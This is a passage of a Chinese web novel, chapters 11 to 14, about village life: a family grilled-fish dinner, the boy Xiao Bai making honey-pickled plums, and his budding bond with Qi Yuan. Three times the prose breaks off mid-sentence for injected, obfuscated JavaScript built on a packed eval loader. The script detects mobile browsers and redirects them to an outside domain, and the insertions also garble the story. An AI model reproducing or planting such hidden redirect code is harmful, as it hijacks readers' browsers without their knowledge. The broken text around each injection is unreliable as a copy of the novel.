正好这个时候谢盈娘还在被萧山雁拉着学刺绣的手艺,于是趁着小哥儿带杜小宝咋咋呼呼跑去厨房不知道折腾什么的时候,齐原先是进去堂屋跟长辈们打了声招呼。 “哎呀,还别说你们家阿原长得是真好看,这模样果然还是像阿娘比较好。”萧山雁虽然跟齐家老大没什么过多的近距离接触,但大家毕竟都住在同一个村子里,平时自然抬头不见低头见,说起来齐老大算是齐家几个孩子里长相最端正的那个了,但跟谢盈娘比起来依旧算是一把鲜花插在牛粪上,故而在看到跟谢盈娘足足六七成相像的齐原,爱屋及乌的萧山雁自然越看越喜欢,“是跟白哥儿和小宝一起过来的吧,只要咱家白哥儿出手肯定能抓到不少鱼,今天你们母子俩就都留在家里吃烤鱼。” 有了萧山雁的热情相邀,谢盈娘和齐原母子俩自是想走也走不成的,于是没过多大会儿,外头正忙活到兴头上的萧白立刻冲着窗户喊了声少年郎的名字。 在齐原闻声快步走出萧家堂屋后,萧白毫不客气便给人安排了个看炉子的活计,甚至他嘴上还不忘念念有词:“跟你说,只有自己动手做出来的吃食才最香,这就叫做参与感的重要性。” “对,小舅舅说得对!”不管三七二十一,被安排到旁边打杂的杜小宝,非常马屁精地来了这么一句。 齐原微微扭头看了眼做马屁精也做得非常出色且骄傲的杜小宝,再状作不经意仰头看了眼满脸都是得意神色的小哥儿,当他垂下头又去看炉子的瞬间已然十分笃定地明白了些什么。 11.第十一章 小哥儿向来是个很耐不住性子的人,但这会儿老老实实站在外面单独垒出来的小灶台前,一眉一眼都显得格外认真,尤其以齐原坐在小板凳上的角度看过去,显得小哥儿一双眼睫格外浓黑漂亮。 按照小哥儿的指示,齐原乖乖伸手往灶台里又添了点柴,下一刻他便又将注意力落到萧白身上。 只是少年的目光不若萧白平时看过来那般炽热,小哥儿忙忙碌碌脑壳都快要转晕了,也没有发现齐原朝他看过去的视线。 直到灶台上的烤鱼已经逐渐散出诱人的香味,在外面忙了一天的萧青山从杜家门口路过,只闻到烤鱼的香味他便毫不犹豫抬脚大步朝这边走来,随即老父亲的注意力没有半点疑虑地落到坐在灶台前的齐原身上。 “外爷快看,这些可都是我跟小舅舅一起辛辛苦苦抓到的鱼哦!”还不等萧青山开口问齐原怎么也在,旁边终于完成小舅舅交代任务的杜小宝立刻蹭到自家外爷身边,仰头便满脸骄傲指向大盆里那些还在腌制着的烤鱼。 萧青山低头看看抱住自己大腿的杜小宝,再抬头看看一个烧火、一个烹饪的臭小子和自家乖巧听话的白哥儿,甚至还能隐约听到自家媳妇、闺女好像在堂屋跟谢盈娘说着话。 有那么一瞬间作为老父亲的萧青山,情不自禁开始怀疑自己是不是不知不觉得了会忘事的癔症,这场面怎么看怎么都像是他家乖宝已经将齐原这个赘婿“娶”进了门。 下意识萧青山使劲甩了甩脑壳,想要把一天忙碌带来的神志不清甩出去,最近堂兄给他在镇上的大酒楼里找了个账房的活计,虽然他从小在读书上面是不太行,但于算数上却还挺精通。 账房看起来是个不怎么劳累的活计,但对于此前整天在家闲着没事干的萧青山而言,那样忙碌一天整个人也还是很累的,所以莫名出现在自家闺女院子里的齐原,立时便让他心情更加不爽了。 说起来萧青山不得不承认,齐原在上林村所有同年龄段的男娃子里面,确实是又漂亮又懂事的那个,只是老父亲永远想得更多、顾虑得更多,看着齐原他就忍不住想起齐家老大那样的混账玩意儿。 不过伸手不打笑脸人,在齐原乖乖巧巧抬眸看过来的时候,萧青山佯作温和艰难勾起一丝笑意:“阿原也在啊,那今天你可要好好尝尝我家白哥儿烤鱼的手艺,那可比镇上大酒楼里烤鱼的味道还要好嘞!” 要论夸赞自家儿子,在场所有人里面就没一个比得过萧青山,他一番不间断的夸赞下来,就算脸皮厚如城墙的当事人听着也是要忍不住微微脸红一下的程度。 萧青山这边一直不间断夸着儿子,一直挂在他大腿上的杜小宝便跟着连连点头,齐原微微眨了下眼睛,立时就明白过来杜小宝对萧白的那满嘴夸赞是从哪里学来的了。 “来了、来了,新鲜出炉的杂面饼子,还是贴在锅边带焦壳的那种!”这边萧青山终于停止对自家儿子的库库称赞,转头就听见自家老爹朝这边喊了一嗓子,然后还端着什么东西快步朝这边走过来。 见状萧青山正想上前帮忙将东西接过来,身边看着体型清瘦的少年已经非常自然朝萧老头走过去,在低眸轻声说了句什么后,已然利落将那一小筐的杂面饼子接过去。 今天家里人比较多,在杜大虎从镇上卖了这几天的猎物回家后,忙从屋子里又搬了两张桌子出来。 两张桌子就那么往院子中间一拼,再将刚做好的烤鱼往大家面前一上,趁着傍晚微微昏黄的夕阳和已经开始爬上枝头的月亮,杜家小院里那叫一个热闹非凡。 “唔,今天鱼做得是真不少,我们白哥儿是越来越厉害了。”纪老太凑上前闻了闻香味,一张口同样也是对自家孙儿绵绵不绝的夸赞,好一会儿后她才转头看向萧青山,“你也是个脑子不中用的,兴德忙活那么多天给你在镇上找了个好活计,不就是看在你们是亲堂兄弟的份上吗,赶紧分些鱼和菜送去你大伯家,让他们也都尝尝我们白哥儿的手艺。” 听着纪老太的话,棠悦忍不住抬手拍了拍脑门:“光顾着唠嗑,倒是把这么重要的事情忘掉了。” “哪能怪你,是青山自个儿不中用。”纪老太见状反而不乐意了,“就算你是他媳妇,哪儿还能天天跟他屁股后面提醒这个、提醒那个……” 人啊,一旦成了亲并且生了崽,果然就会成为家里地位最低的那个,萧青山略感有些惆怅,却也是格外幸福的惆怅。 这边他刚想要挑选一只烤鱼装起来,那边难得心疼自家老父亲的萧白已经非常大气挥挥手:“我来、我来,正好我去看看大伯家的小毛驴长没长大!” 说着萧白已经乐呵呵挑了条最大的烤鱼放进萧山雁刚拿过来的餐筐里,另外纪老太还又在里面放了几张依旧还热腾腾的饼子,再稍微添上一些其他的菜。 这样收拾着、收拾着,小哥儿手中的餐筐已经变得满满当当,齐原微微抿了抿唇刚想要说些什么,萧白已经非常利落将老大一个餐筐提起来,于是他正打算伸出去的手只能默默收回去。 “快去快回,不要因为要看小毛驴就忘了回家吃饭。”见着小哥儿转身就要兴冲冲往外走,棠悦从凳子上半站起来,对着萧白一去不回头的背影急匆匆喊了一声。 萧白换了个手更方便去提餐筐,又伸出另外一只手对着身后非常敷衍地晃了晃。 “这孩子,天天想一出是一出,前段时间他大伯不知道从哪儿买来了只小毛驴,他心里一直馋着呢!”棠悦无奈摇摇头,要不是她过于了解儿子想一出是一出的性子,怕是家里其他那几人在白哥儿眼馋人家小毛驴的时候,早就买了一只放在自家。 闻言谢盈娘也忍不住笑了笑,在未曾被丈夫休妻弃子前,她整日忙着家里那些杂七杂八的活计都还忙不完,再之后她跟儿子一起搬到后村的破旧房子里,整日又被迫缠绵病榻,最近往杜家这边多跑了几趟,跟山雁一起聊聊生活上的琐事,她整个人看起来都轻松不少。 棠悦自然同样是个非常好性子的人,见到谢盈娘眉眼弯弯笑起来的模样,忍不住在心中赞了句美人的同时,又忍不住骂上几句那没有福分的齐家老大。 一桌子上大家伙儿自是边吃边聊其乐融融,被分到小孩队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782767|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍里的齐原却忍不住好几次微不可察往院门的方向看,不过在悄悄将视线转回来同时,他又微垂下眼眸遮住不经意升起的失望。 杜小宝是满心满眼只有桌子上的美食,自己吃得喷香还不忘小大人似的照顾一下身边的齐原,于是他满嘴便都是:“齐原哥哥尝尝这个,我帮祖祖在冬天一起晒的干菜,配着一点点肉做得又香又好吃,齐原哥哥再尝尝这个……” 桌上其他大人们看得那叫一个乐不可支,而这会儿萧白已经将自己手中提着的超大餐筐送到大伯家,正好大伯家已经差不多做好暮食准备吃饭。 被大人们招呼着坐下一起吃点儿,萧白顺手从堂哥掌心拿了块甜滋滋的红糖饼,一边嚼着一边咕咕哝哝:“大伯爷,你们都不用管我,我去后头看看小毛驴!” 说着小哥儿转头就跑到大伯家专门辟出来的小屋旁,伸长了脑袋去看已经稍稍长大些的小毛驴。 堂哥萧齐文跟着也跑了过来,抬眼看到自家堂弟盯着小毛驴一副痴迷到不能再痴迷的样儿,他上前忍不住打趣一句:“就是一只小毛驴而已,怎么跟看见金子似的。” “齐文哥,你这就不懂了吧!”小哥儿趴在围栏前面,满心满眼都是里头正吃着东西的可爱小毛驴,“以前我听过一个话本子,里面主角是八个在凡间时身份各异的神仙,其中一位老神仙就是骑着毛驴飞升的。” 随手撕了块杂面饼子丢到小毛驴面前,看小毛驴叼着饼子吃得喷香,萧齐文转而又抬手拍了拍堂弟的脑袋瓜:“怎么滴,我们白哥儿也想学习一下人家老神仙,骑着毛驴飞升上天~” “说什么呢,我就觉得老神仙倒骑驴听着很潇洒,再说了做神仙又有什么好的,还是做我阿奶、阿公的乖孙孙,做我阿娘、阿父的好儿子最幸福啦!” 堂兄弟俩插科打诨好一会儿,见白哥儿依旧满眼恋恋不舍的模样,萧齐文当即笑眯眯道:“在家里吃饭呗,晚上你跟毛驴一起睡得了。” “那可不行,我今天请了朋友到家里吃饭,还是趁着过来送东西才能看看你家小毛驴,哪有把朋友撂到一边自己跑了就不再回去的道理,我现在就得赶紧回家了。”说着小哥儿挠挠脑袋又跟堂兄交代几句,这才转身一路飞快跑远。 “白哥儿,你慢着点跑,小心磕着碰着!”正在堂屋吃饭的萧里正,看到小哥儿风一样飞快跑远,忙扯着嗓门大声叮嘱。 “我知道啦,大伯爷赶紧尝尝我做的烤鱼……”人都已经跑没影了,倒是还能听见萧白嘹亮的嗓音,这下弄得萧大伯一家都跟着哭笑不得起来。 萧白前前后后走了也就不到一刻钟的时间,杜家院子里大家依旧还在吃吃喝喝,齐原却忍不住再次微微侧目往院门口的方向看过去。 正好小哥儿不知道从哪里弄来一堆李子,在齐原侧目看过来时,他立刻欢喜挥挥手:“阿原、阿原快帮帮我,这些李子要掉出去了。” 旁边一群大人们还没反应过来,齐原已经飞快起身走到小哥儿身边,随即手脚利落掀起自己长衫的一角,将那些快要从萧白怀里掉出去的李子接过去。 12.第十二章 “从哪儿弄了这么多李子回来,看着就要把牙都酸掉了!”探头看了眼被齐原兜在衣服里青青红红的果子,萧青山连尝都不用尝就知道那滋味肯定酸的不得了。 杜大虎倒是非常好胃口拿了一个库库啃起来,听老丈人这么一说他摇头又点头:“是有些酸,但还没酸到阿父说的那个程度。” “嗨呀,这些都是小夏姐给我的,正好我从路上碰到她从娘家回来。”小哥儿随意擦擦额头因为一路快跑回来流出的汗,又专门跑去简单洗了下手,这才一屁股毫不客气坐到齐原身边空出来的位置上,“小夏姐的娘家不是开果园的吗,听她说今年李子收成不错就带了好些回来。” “小夏也是个实诚孩子,怎么能分你这么多?”看了眼已经被收拾到干净竹筐中的李子,棠悦忍不住又有些头疼,“这东西干吃确实有些酸,要是能想个法子让李子别这么酸就好了。” “那就做成蜂蜜泡李子,前段时间姐夫不是刚刚从从山上弄来不少蜂蜜吗?”接过身边少年递来的杂面饼子,萧白一口饼子一口菜、一口饼子一口烤鱼吃得不要太香,怎么说他今天也算正经掌勺的那个,结果到现在愣是还没吃上多少东西呢。 萧青山刚刚还没注意到什么,毕竟开饭那会儿自家白哥儿还是坐在妻子身边的,只是不知道送个东西出去一趟回来,怎么就坐到齐原那臭小子身边去了,但孩子们毕竟年纪都还小,而且还是当着大家伙儿的面,老父亲有心想要说些什么,结果话到嘴边又给硬生生憋了回去。 边吃边慢慢吞吞讲着李子要怎么弄才好吃的纸上谈兵派选手,抬个头的功夫正好看到他家阿父竟然莫名一脸菜色模样,立时萧白难得板着脸警惕起来:“阿父、阿父,你不会是被鱼刺卡着喉咙了吧,怎么样、怎么样,是不是很难受,还能张嘴说话吗?” 不明白怎么自己转个头的功夫就“被鱼刺卡着喉咙”了,但萧青山对上自家不那么乖的儿子满脸关怀的紧张眼神后,心里那点儿小情绪瞬间也就消失不见了:“……嗯,刚刚好像是卡了一下,现在已经没事了。” “你……你都这么大人了,怎么吃个饭还这么不让人省心。”听儿子这么一说,旁边纪老太更是又紧张又无奈,最后情绪变化间,恨不得能亲自上手给萧青山一巴掌让他长长记性。 在大盛朝酒是一样非常珍贵的东西,毕竟老话都说酒是粮□□,老百姓们如今不过刚刚能吃上饱饭,自然不可能拿出闲钱去买酒,最多逢年过节的时候打上些散酒意思一下。 不过对萧家几位长辈而言,只要自家孩子喜欢,家里又有那个闲钱,自然也就没什么东西是不能买的。 所以将肚子稍稍填饱一些后,萧白咧着嘴十分讨好地笑起来:“其实我还知道一种更合适酸涩李子的吃法哦,就是需要那么一点点的酒!” 满心以为自家阿奶、阿公这么疼自己,只要撒泼打滚一顿总是能弄到些酒,但萧老头一听乖孙提起酒,当即有些紧张起来:“可不能买酒,白哥儿你不会是在外面偷偷喝了酒吧?” 不知道话题怎么转到这个上面,甚至连身边的齐原也满脸紧张朝自己看过来,萧白下意识有些茫然地摇摇头:“没有啊,我就是无意间在书上看到了个方子,说是用蜂蜜炮制过的李子来泡酒,酒的滋味会变得更好,这不看着家里李子多就想着尝试一下嘛。” 被大家那样满脸紧张盯着看,萧白一开口不自觉就带上了些撒娇的意味,不过看阿奶、阿公那满脸紧张的模样,小哥儿便知道自己的李子酒八成要泡汤喽~ “你这孩子真是的!”听到儿子说自己从来没有喝过酒,棠悦总算松了口气,“之前跟你说过多少次,小哥儿未束冠前不能喝酒,对身体会很不好,你这孩子是扭头就给当成了耳旁风。” 听阿娘这么一说,过了好一会儿萧白才算是慢慢吞吞反应过来,好像、似乎、隐约是有那么一回事—— 这个时代不是有男子、女子和哥儿三个性别特征吗,其中女子初潮的到来便代表着她们已经正式成人,而哥儿到了正式成人的时候也会有暗经出现,此后虽然不至于像女子那般月月来葵水,但每三个月还是要经历那么一遭的。 因为自己到底年纪还小,无论阿娘、阿奶跟自己叮嘱过多少次,萧白也很难将这种事情记在心里,不过刚刚他好像看到身边的少年也面露紧张的神色,于是在大家终于不将视线落到自己身上时,他悄摸摸用手肘戳了下齐原:“你……怎么连那种事情都知道?” “那种事情”显然是指小哥儿成年后会来暗经,所以成年之前不能喝酒的事情,提起这个齐原忍不住有些微微耳热。 不过好在萧白看过来的眼神里只有满满的疑惑,他在稍稍平静下来心态后才慢吞吞开口解释起来:“这些事情书上都有写,据说在很久以前,因为一场奇怪的疫病,女子的数量在世间逐渐减少,整个王朝眼见着将要没有新生儿的出现,当时的帝王连年祈求上天饶恕自己的子民,他愿意一辈子吃斋念佛还报上天的恩情,之后世间便神奇有了哥儿的诞生,而那位帝王后来还真吃斋念佛了一辈子。” 哥儿和女子在性别上毕竟还是稍显特殊的,致使在那场奇怪的疫病过后,很多注意事项都写进书里,就是为了杜绝曾经那样没有新生儿的情况再度发生。 不过可能也正因为那样的情况距离现在太过遥远,哥儿的数量跟着便越来越少了。 萧白若有所思地点点头,转头他想起自己如今才刚刚十二岁,还要有四年才能喝上独具风味的李子酒,瞬间小哥儿便没有那么开心了,亏他在抱着那么多李子回来的路上还满心满眼都是对李子酒的期待。 看到小哥儿垂头丧气的模样,齐原稍稍用力收紧手中的筷子,下一刻他突然低声开口道:“我知道山上有种青涩的果子,看着好像很酸的样子,但吃进嘴里却很甜,改天我给你带一些过来。” 有好吃的万事足,毕竟已经板上钉钉注定自己喝不到甜滋滋的李子酒,能有其他别有滋味的果子吃进嘴巴里肯定会是一件很不错的事情。 但狡黠的小哥儿依旧可怜兮兮眨巴着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788570|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双滴溜圆的大眼睛,一动不动盯着身旁的少年郎:“不能喝李子酒的我,配得上那些甜滋滋的果子吗?” “……”对上那么一双满是真诚又可怜兮兮的大眼睛,齐原不自觉微微抿了抿唇,因为刚刚提起小哥儿生理注意事项时而微微泛红的耳朵不过刚褪去些热度,这会儿又重新开始变得红彤彤起来,“夫子给了我三天休息的时间,明天我就去山上给你摘。” “真不愧是我萧白的好兄弟,放心,以后你就是哥哥罩着的人了~”心大的小哥儿完全没有注意到齐原耳根处的变化,他自觉那点儿狡黠的小小心思达成,整个人立时变得眉开眼笑起来。 听着小哥儿的一字一句,齐原同样微微眨了眨眼眸,随即轻声问着:“不是上次就说要罩着我吗?” 好吧,忽悠人的话说得次数一旦多起来就没那么好用了,于是萧白立刻从暖心路线转换为暖胃路线:“那我明天给你多送些爆炒泥鳅好不好,我保证绝对是让你吃了还想吃的程度。” 两人交头接耳不过片刻功夫,反正最后各自的小心思都已经圆满达成。 等大家说说笑笑将这顿饭吃完,时间已经很晚了,不过因为最近天气很不错,头顶明月高悬倒是将路照亮许多。 提着小哥儿非要塞给自己的灯笼,齐原单手稍稍扶住阿娘的胳膊,两人便这样慢慢悠悠往后村的方向走去。 “之前隐约听旁人提起过,说萧家的哥儿整天跟个小子一样老实不下来,没想到你们俩关系倒是处得还不错。”回家的路显得稍微有些漫长,谢盈娘走着走着突然扭头温声向儿子提起萧白。 齐原稍稍愣怔了几秒钟,好一会儿后他淡淡道:“白哥儿人很好,大概因为虚长两岁,他大多数时候喜欢戏说要当大哥护着我。” 自家儿子短暂的回答显然不在谢盈娘的想象范围内,不过她虽然不是特别了解萧家的白哥儿,却还是非常了解自家儿子的性情. 隐约猜到些阿原心中的想法,转头谢盈娘便更加脚踏实地往前走,只是这一路上她没有再跟儿子聊起萧白的事情,而齐原也只是如之前那般扶着阿娘继续往前走。 因为前段时间某些人想爬墙却被齐原狠狠教训一顿,最近自家小院倒是安稳不少,在盯着阿娘吃好药洗洗睡下后,齐原才有时间将今天采来的草药细细处理出来。 在药房已经不知卖过多少次草药,齐原熟练将处理好的草药一点点放到提前准备好的小竹席上,随即再铺上层洗到有些泛黄的棉布,防止晚上有水汽沾到草药上,将这些事情全部处理完成,少年郎最后又重新检查一遍院门才转身回房休息。 这会儿的萧白也已经洗洗躺到床上,不过因着今天在饭桌上突然提起李子酒的事情,棠悦实在放心不下自家傻乎乎的儿子,专门过来耳提面命一遍,看着小哥儿举手再三保证成年之前坚决不碰一滴酒,她才算是稍稍放心了些。 等阿娘终于离开后,萧白懒洋洋往身后的被褥上一躺:唔,虽然李子酒不能喝,但蜂蜜酿李子还是可以尝试一下的~ 13.第十三章 第二天一大早,萧青山要赶着时间坐堂兄的牛车去镇上,这个时间点家里其他人要不刚刚起,要不就还在睡觉,所以他注定没办法在家里吃朝食了。 刚跟自家媳妇黏糊几句准备出门,结果萧青山走到院子里一抬头,就看到萧白正坐在水井旁边的小木凳子上,也不知道在忙活些什么。 估摸着时间勉强还能算得上充裕,萧青山快步走到小哥儿身边探头一看,然后就看到小哥儿嘴里一边咕咕哝哝着,手上还一边非常麻溜处理着那些李子。 李子这东西是有些优点在身上的,哪怕这样稍稍有些热的天气,堆在一起放上一晚上也没见有半点破皮,刚从井里打上来的水很凉,沁得那些处理干净的李子看起来都越发美味起来。 仗着身量高、胳膊长,萧青山顺手拿了个李子塞进嘴里库库啃了一口:“白哥儿今天怎么起这么早,而且还坐在井边折腾这些果子?” 被突然出现的老父亲吓了一跳,一夜好眠的萧白满是怨念转过脑袋瞪了他家阿父一眼,然后才多少带着些委屈抱怨着:“昨晚我做梦吃上了甜甜的蜂蜜酿果子,结果偏偏在我吃正香的时候醒了,阿父能明白一觉醒来却又什么都吃不到的痛苦吗?” 虽然萧青山年少的时候的的确确算得上是不学无术,但还真不至于像儿子这般念着一口吃的东西,甚至连做梦都能梦的到,他嘴角稍微抽了抽决定不在儿子面前讨人嫌:“得嘞,那您继续慢慢折腾吧,阿父也要去镇上忙活了,等晚上回来给你带酒楼里的特色点心。” “行吧、行吧,不过今天外头有雾,阿父记得叮嘱大伯路上注意安全。”有气无力对着自家阿父摆摆手,转头萧白便又开始折腾起那些李子。 小夏姐送的李子都比较大个头,想要让蜂蜜的味道更加浸透其中,最好还是得把那些清洗干净的李子全部分成两三瓣,然后再一层冰糖、一层李子、一层蜂蜜,如此重复着往上叠加到装满整个无油无水的干净坛子里。 不过在这方面萧白毫无疑问是完完全全的纸上谈兵,拿刀切李子的时候没把自己的手割破就已经算他非常能耐了,所以在将那些李子全部一分为二后,他家阿娘已经做好一顿简单的朝食。 “白哥儿,快过来吃饭,别瞎折腾你那些李子了。”萧老头从外面溜达一圈回来,看自家乖孙还坐在井边忙活着呢,忍不住凑过去将人拉去房间吃朝食。 昨晚做的菜稍微有些多,棠悦干脆收拾了些回来,今天早上再随便贴几张饼子,凑合着又是一顿饭。 见萧白坐那儿吃饭都不老实,棠悦忍不住白了小哥儿一眼:“前段时间还瞎折腾你那些鬼画符呢,浪费那么多张纸不说,现在扭头又去搞什么蜂蜜酿李子,你说说你什么时候能定个性!” “阿娘,我现在难道不是个人见人爱的小哥儿吗,这性子谁见了不说好~”萧白眨眨眼好一顿撒娇卖乖,上一秒还在指责儿子的棠悦,下一秒又无可奈何地摇头笑起来,“行行行,你最讨人喜欢了。” “那可不,我们家白哥儿就是这么讨人喜欢。”说着纪老太伸手就往萧白碗里夹了好几块肉,“多吃肉长得高,白哥儿以后可是咱家的顶梁柱。” 一大家子其乐融融吃完朝食,扭头萧白又开始折腾他的那些李子去了,好在家里有现成的冰糖和蜂蜜,往坛子里面一层又一层装得速度倒也不慢,不过想到这么好的李子不能用来酿酒,萧白心情多少还是有那么一些些郁闷的。 正想着将自己刚刚弄好的一坛蜂蜜酿李子搬进屋里,站在门口的张永安在敲了两下大门后,立刻朝小哥儿招招手:“阿白、阿白,快过来!” 萧白一脸莫名看过去,不过在对方略显急切的示意下,他将手上装到满满当当的坛子先放下,随即才快步朝着门口走过去:“怎么了,你今天不是应该去村孰上课吗,怎么还有时间跑到我家?” 张永安没有立即回答小哥儿的问题,等人终于走到自己面前,他才微微红着耳朵将一根木簪朝着萧白递过去:“前段时间我跟村头的赵木匠学了些简单手艺,这是我专门挑选了木材雕的第一根簪子。” 萧白向来是个大大咧咧的性子,因此跟村上好些同龄少男、少女都玩得很好,对于跟自己差不多大的张永安,他不说将其当小弟看待,那跟自己护着的小弟其实也差不多了。 所以对于“小弟”送过来的大部分东西他都会欣然收下,不过看着张永安递到自己面前的木簪,萧白伸手在对方眼前晃了晃:“张永安,你不会睡一觉起来把脑袋睡糊涂了吧,你什么时候看到过我用簪子?” 未曾束冠的少男少女自然是可以用簪子来固定头发的,只要不是将所有头发全都梳上去那就都无所谓,不过萧白在给自己打理头发上向来笨手笨脚,于是格外了解他习惯的阿奶和阿娘就给他做了不少发带,所以平日里小哥儿都是一根稍长些的发带解决一切。 但……送人发簪是有特殊含义的啊!张永安望了望面前满脸不解风情的小哥儿,又垂眸望了望自己手上的发簪,瞬间整个人别提有多失望了。 只是他也知道白哥儿惯来都是这样的性子,从来没有说什么故意吊着他,不过正因此张永安心里才越发觉得难受极了。 好一会儿后,张永安想将上次没有问出口的话问出来,但萧白已经满脸兴奋转过头,等他重新一把将略显沉重的坛子抱进怀里,才骄傲抬手拍了拍坛子圆滚滚的大肚子:“快看,昨天小夏姐送了我好多李子,今天收拾收拾弄出来一整坛蜂蜜酿李子,估计过个三五天时间就能吃了,到时候我送你一些啊~” “哦哦,好啊!”看着小哥儿满心满眼都是怀中尚且不够滋味的蜂蜜酿李子,张永安有些失魂落魄点点头的同时又稍微感到一些庆幸,白哥儿年纪小还没开窍没关系,这也就证明小哥儿压根不会喜欢上其他什么人,既然没有喜欢上其他什么人,那自己肯定就还是有机会的。 见对方今天一副愣愣的呆瓜样,萧白赶紧摆摆手:“你还是赶紧去村孰上课吧,小心张婶子知道要出来到处找你了,等被张婶子抓住你就可惨喽~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793086|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 看惯了张婶子上来就抽张永安的样儿,萧白抱着坛子还想待会儿有热闹看呢,但反应过来自己到底干了什么事情的张永安,已经将发簪往自己怀里一揣,转身就飞快跑远了。 以前让白哥儿看到阿娘打自己屁股没关系,现在他毕竟都已经是快可以说亲的年纪了,还让心心念念的小哥儿看到自己挨打,那才叫丢人现脸。 “怎么最近张永安这小子看起来有些奇奇怪怪的哎?”萧白抱着坛子一边嘟嘟囔囔一边往屋子里走。 原本在厨房收拾东西的棠悦将外头俩小孩刚刚搞出来的动静听了个清清楚楚,等人都走没影了她才从厨房里走出来。 回想了下刚刚自家白哥儿那副不开窍的样子,棠悦略有些无奈地摇摇头,同时心里对张永安这个小辈也不再抱什么希望,毕竟白哥儿将张永安当成最纯粹好朋友的态度实在有些过于明显。 完全不知道自家阿娘在想些什么,等萧白从屋子里再出来时就看到阿娘似乎坐在院子里发呆,他干脆黏黏糊糊一屁股坐到阿娘身边:“阿娘,今天中午我们吃缸里养着的那些泥鳅吧!” “怎么一天到晚不是吃就是玩呢,小心明个儿我托你伯爷再把你送进村孰里。”大概刚刚捯饬那些果子的缘故,萧白脸上沾了些果子皮,棠悦伸手将那些果子皮弄掉,最后还是没忍住轻轻戳了下小哥儿白净的脑门。 “啊啊啊,这个可不行,阿娘您大发慈悲就放过我吧!”想到吴夫子往椅子里一坐就开始“和尚念经”,萧白便止不住张嘴打哈欠的冲动。 看着瞬间一副奄哒哒样儿的小哥儿,棠悦无奈摇摇头:“人家齐原还比你小两岁呢,怎么齐原听着吴夫子讲课就不犯困,看来整个村孰学子的瞌睡虫都跑你身上去了。” “那还真有可能,阿娘你看我在家干什么不是精力满满,只要一去村孰就开始不受控制地犯困,现在感觉阿娘说不定真找到原因了。”萧白一本正经板着脸瞎胡说,在阿娘气极反笑想要伸手敲自己脑袋的时候,蹭得站起来就要往外跑,“阿娘我出去溜达一圈,很快就回来~” 说是出去溜达一圈,萧白扭头就跑去树荫底下听村里那些年老的长辈忆往昔,顺便再听听这些长辈讲些大家知道或者不知道的八卦。 恰好这时萧白抬头看见齐原遥遥朝自家院子那边走过去,怀里似乎还揣着什么东西的样子,小哥儿望着大树下那些长辈,眉梢狡黠一挑转而便对着齐原那边招招手:“阿原、阿原,我在这边,快过来这里!” 看到只有十几岁大的小哥儿凑在一群老爷爷、老奶奶中间,齐原眼中微微闪过些许惊讶,不过闻言他还是老老实实朝着那边走过去。 “呦,白哥儿,那是谁啊,看着长得还挺俊秀,以前怎么没见过?”一个略有些花眼的老奶奶遥遥看到个小年轻朝这边走过来,哪怕看不清对方到底长个什么模样,不过单看那笔挺的身姿就知道一定长得不差。 “是齐家的阿原啊,他爹是那个当了官后就抛妻弃子的齐大伯。” 14.第十四章 若说刚开始齐原还不明白小哥儿为什么会突然让自己到人群中去,但那一嗓子喊出声,他哪儿还有什么不明白的。 齐家老大那个人在村子里读书的时候就惯会装得人模狗样,尤其他考中进士、攀上官家小姐留在京城做官后,还专门往家里寄了书信,于是齐家那些本就踩低捧高的人还不得着机会就往谢盈娘和齐原身上泼脏水。 加之原本张春梅就不太喜欢谢盈娘这个儿媳妇,在家里可着劲指使谢盈娘也就算了,一出门还见着人就说谢盈娘的话坏,所以村上大部分人对谢盈娘和齐原也是颇有些微词在心里的。 不过萧白这么一嗓子喊出来,这群本来就非常乐意“了解”一下村里那些八卦的老爷爷、老奶奶可就不马上来了兴致。 “谁谁谁,白哥儿你刚刚说谁抛妻弃子,爷爷我上年纪了耳朵不太好,咱们村竟然还有这种畜牲玩意呢!” “哎呦,还真别说,以前张春梅那人一出门就说她家大儿媳妇怎么、怎么不孝顺,不过别人家不孝顺的儿媳妇早把家里闹翻天了,可没见她家儿媳妇出来说半句难听话!” “哎呦,是说齐家老大吗,之前看着还好好一男儿郎,怎么能干出来这种事,白哥儿你可不能糊我们这些老人家!” “白哥儿一个小孩子怎么不可能说谎,都说男人有钱、有权就变坏,你这辈子就老娘一个媳妇,还不是因为当了一辈子泥腿子……” “你这老婆子就是不讲理,说着别人的事情呢,怎么就扯我这里来了!” 几位老爷爷、老奶奶说说笑笑、吵吵闹闹的功夫,齐原拿着个小竹筐已经走到小哥儿身边,萧白毫不客气凑上去看了眼少年手中竹筐里青青绿绿的果子,在拿着尝了尝果子的味道后,他一双眼眸立刻亮起来:“好吃耶,爷爷、奶奶你们也尝尝,这是齐原刚从山上摘下来的,他跟盈娘婶婶平时估计也吃不到什么好东西,就从山上找到这种看着不起眼的果子……” 